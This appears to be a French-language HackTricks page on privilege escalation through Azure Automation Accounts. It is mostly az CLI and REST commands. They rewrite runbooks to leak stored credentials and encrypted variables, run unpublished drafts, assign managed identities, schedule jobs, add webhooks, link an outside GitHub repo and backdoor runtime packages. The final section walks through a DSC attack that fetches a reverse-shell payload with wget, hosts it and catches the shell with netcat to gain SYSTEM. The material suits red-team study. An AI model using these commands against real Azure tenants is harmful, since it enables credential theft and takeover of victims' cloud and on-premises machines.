Az - Azure Automation Accounts Privesc

Reading time: 11 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Azure Automation Accounts

Pour plus d'informations, consultez :

Az - Automation Accounts

Hybrid Workers Group

  • De l'Automation Account Ă  la VM

Rappelez-vous que si, d'une maniĂšre ou d'une autre, un attaquant peut exĂ©cuter un runbook arbitraire (code arbitraire) dans un travailleur hybride, il se dĂ©placera vers l'emplacement de la VM. Cela pourrait ĂȘtre une machine sur site, un VPC d'un autre cloud ou mĂȘme une VM Azure.

De plus, si le travailleur hybride fonctionne dans Azure avec d'autres identités gérées attachées, le runbook pourra accéder à l'identité gérée du runbook et à toutes les identités gérées de la VM depuis le service de métadonnées.

tip

Rappelez-vous que le service de métadonnées a une URL différente (http://169.254.169.254) que le service à partir duquel obtenir le jeton d'identités gérées du compte d'automatisation (IDENTITY_ENDPOINT).

  • De la VM Ă  l'Automation Account

De plus, si quelqu'un compromet une VM oĂč un script de compte d'automatisation est en cours d'exĂ©cution, il pourra localiser les mĂ©tadonnĂ©es de l'Automation Account et y accĂ©der depuis la VM pour obtenir des jetons pour les IdentitĂ©s GĂ©rĂ©es attachĂ©es au compte d'automatisation.

Comme il est possible de le voir dans l'image suivante, avoir un accÚs Administrateur sur la VM permet de trouver dans les variables d'environnement du processus l'URL et le secret pour accéder au service de métadonnées du compte d'automatisation :

Microsoft.Automation/automationAccounts/jobs/write, Microsoft.Automation/automationAccounts/runbooks/draft/write, Microsoft.Automation/automationAccounts/jobs/output/read, Microsoft.Automation/automationAccounts/runbooks/publish/action (Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.Automation/automationAccounts/runbooks/write)

En résumé, ces autorisations permettent de créer, modifier et exécuter des Runbooks dans le compte d'automatisation que vous pourriez utiliser pour exécuter du code dans le contexte du compte d'automatisation et élever les privilÚges aux Identités Gérées assignées et divulguer des identifiants et des variables chiffrées stockées dans le compte d'automatisation.

L'autorisation Microsoft.Automation/automationAccounts/runbooks/draft/write permet de modifier le code d'un Runbook dans le compte d'automatisation en utilisant :

bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'

Notez comment le script prĂ©cĂ©dent peut ĂȘtre utilisĂ© pour leak the useranmd and password d'un identifiant et la valeur d'une encrypted variable stockĂ©e dans le compte d'automatisation.

La permission Microsoft.Automation/automationAccounts/runbooks/publish/action permet à l'utilisateur de publier un Runbook dans le compte d'automatisation afin que les modifications soient appliquées :

bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>

La permission Microsoft.Automation/automationAccounts/jobs/write permet à l'utilisateur d'exécuter un Runbook dans le compte d'automatisation en utilisant :

bash
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]

La permission Microsoft.Automation/automationAccounts/jobs/output/read permet Ă  l'utilisateur de lire la sortie d'un travail dans le compte d'automatisation en utilisant :

bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"

Si aucun Runbook n'est créé, ou si vous souhaitez en créer un nouveau, vous aurez besoin des permissions Microsoft.Resources/subscriptions/resourcegroups/read et Microsoft.Automation/automationAccounts/runbooks/write pour le faire en utilisant :

bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell

Microsoft.Automation/automationAccounts/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Cette permission permet à l'utilisateur de assigner une identité gérée par l'utilisateur au compte d'automatisation en utilisant :

bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'

Microsoft.Automation/automationAccounts/schedules/write, Microsoft.Automation/automationAccounts/jobSchedules/write

Avec la permission Microsoft.Automation/automationAccounts/schedules/write, il est possible de créer un nouvel horaire dans le compte d'automatisation qui s'exécute toutes les 15 minutes (pas trÚs discret) en utilisant la commande suivante.

Notez que l'intervalle minimum pour un horaire est de 15 minutes, et que le temps de début minimum est de 5 minutes dans le futur.

bash
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

Ensuite, avec la permission Microsoft.Automation/automationAccounts/jobSchedules/write, il est possible d'assigner un Scheduler Ă  un runbook en utilisant :

bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'

tip

Dans l'exemple précédent, l'identifiant du jobchedule a été laissé comme b510808a-8fdc-4509-a115-12cfc3a2ad0d comme exemple mais vous devrez utiliser une valeur arbitraire pour créer cette affectation.

Microsoft.Automation/automationAccounts/webhooks/write

Avec la permission Microsoft.Automation/automationAccounts/webhooks/write, il est possible de créer un nouveau Webhook pour un Runbook à l'intérieur d'un compte d'automatisation en utilisant la commande suivante.

bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true

Cette commande devrait renvoyer un URI de webhook qui n'est affiché qu'à la création. Ensuite, pour appeler le runbook en utilisant l'URI du webhook

bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"

Microsoft.Automation/automationAccounts/runbooks/draft/write

Avec la permission Microsoft.Automation/automationAccounts/runbooks/draft/write, il est possible de mettre à jour le code d'un Runbook sans le publier et de l'exécuter en utilisant les commandes suivantes.

bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'

# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'

# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"

Microsoft.Automation/automationAccounts/sourceControls/write, (Microsoft.Automation/automationAccounts/sourceControls/read)

Cette permission permet Ă  l'utilisateur de configurer un contrĂŽle de source pour le compte d'automatisation en utilisant des commandes telles que les suivantes (cela utilise Github comme exemple) :

bash
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>

Cela importera automatiquement les runbooks du dépÎt Github vers le compte d'automatisation et avec quelques autres autorisations pour commencer à les exécuter, il serait possible d'escalader les privilÚges.

De plus, rappelez-vous que pour que le contrĂŽle de version fonctionne dans les comptes d'automatisation, il doit avoir une identitĂ© gĂ©rĂ©e avec le rĂŽle Contributor et si c'est une identitĂ© gĂ©rĂ©e par l'utilisateur, l'ID client de l'ID gĂ©rĂ© doit ĂȘtre spĂ©cifiĂ© dans la variable AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID.

tip

Notez qu'il n'est pas possible de changer l'URL du dépÎt d'un contrÎle de version une fois qu'il est créé.

Microsoft.Automation/automationAccounts/variables/write

Avec l'autorisation Microsoft.Automation/automationAccounts/variables/write, il est possible d'écrire des variables dans le compte d'automatisation en utilisant la commande suivante.

bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'

Environnements d'exécution personnalisés

Si un compte d'automatisation utilise un environnement d'exĂ©cution personnalisĂ©, il pourrait ĂȘtre possible de remplacer un package personnalisĂ© de l'environnement d'exĂ©cution par du code malveillant (comme une porte dĂ©robĂ©e). De cette façon, chaque fois qu'un runbook utilisant cet environnement d'exĂ©cution personnalisĂ© est exĂ©cutĂ© et charge le package personnalisĂ©, le code malveillant sera exĂ©cutĂ©.

Compromission de la configuration d'état

Consultez le post complet ici : https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

  • Étape 1 — CrĂ©er des fichiers

Fichiers requis : Deux scripts PowerShell sont nécessaires :

  1. reverse_shell_config.ps1 : Un fichier de configuration d'état désiré (DSC) qui récupÚre et exécute le payload. Il est disponible sur GitHub.
  2. push_reverse_shell_config.ps1 : Un script pour publier la configuration sur la VM, disponible sur GitHub.

Personnalisation : Les variables et paramĂštres dans ces fichiers doivent ĂȘtre adaptĂ©s Ă  l'environnement spĂ©cifique de l'utilisateur, y compris les noms de ressources, les chemins de fichiers et les identifiants de serveur/payload.

  • Étape 2 — Compresser le fichier de configuration

Le reverse_shell_config.ps1 est compressĂ© dans un fichier .zip, le rendant prĂȘt pour le transfert vers le compte de stockage Azure.

bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
  • Étape 3 — DĂ©finir le contexte de stockage et tĂ©lĂ©charger

Le fichier de configuration compressé est téléchargé dans un conteneur de stockage Azure prédéfini, azure-pentest, en utilisant la cmdlet Set-AzStorageBlobContent d'Azure.

bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
  • Étape 4 — PrĂ©parer la boĂźte Kali

Le serveur Kali télécharge le payload RevPS.ps1 depuis un dépÎt GitHub.

bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1

Le script est modifié pour spécifier la VM Windows cible et le port pour le reverse shell.

  • Étape 5 — Publier le fichier de configuration

Le fichier de configuration est exécuté, ce qui entraßne le déploiement du script de reverse shell à l'emplacement spécifié sur la VM Windows.

  • Étape 6 — HĂ©berger la charge utile et configurer l'Ă©couteur

Un Python SimpleHTTPServer est démarré pour héberger la charge utile, avec un écouteur Netcat pour capturer les connexions entrantes.

bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443

La tùche planifiée exécute le payload, atteignant des privilÚges de niveau SYSTEM.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks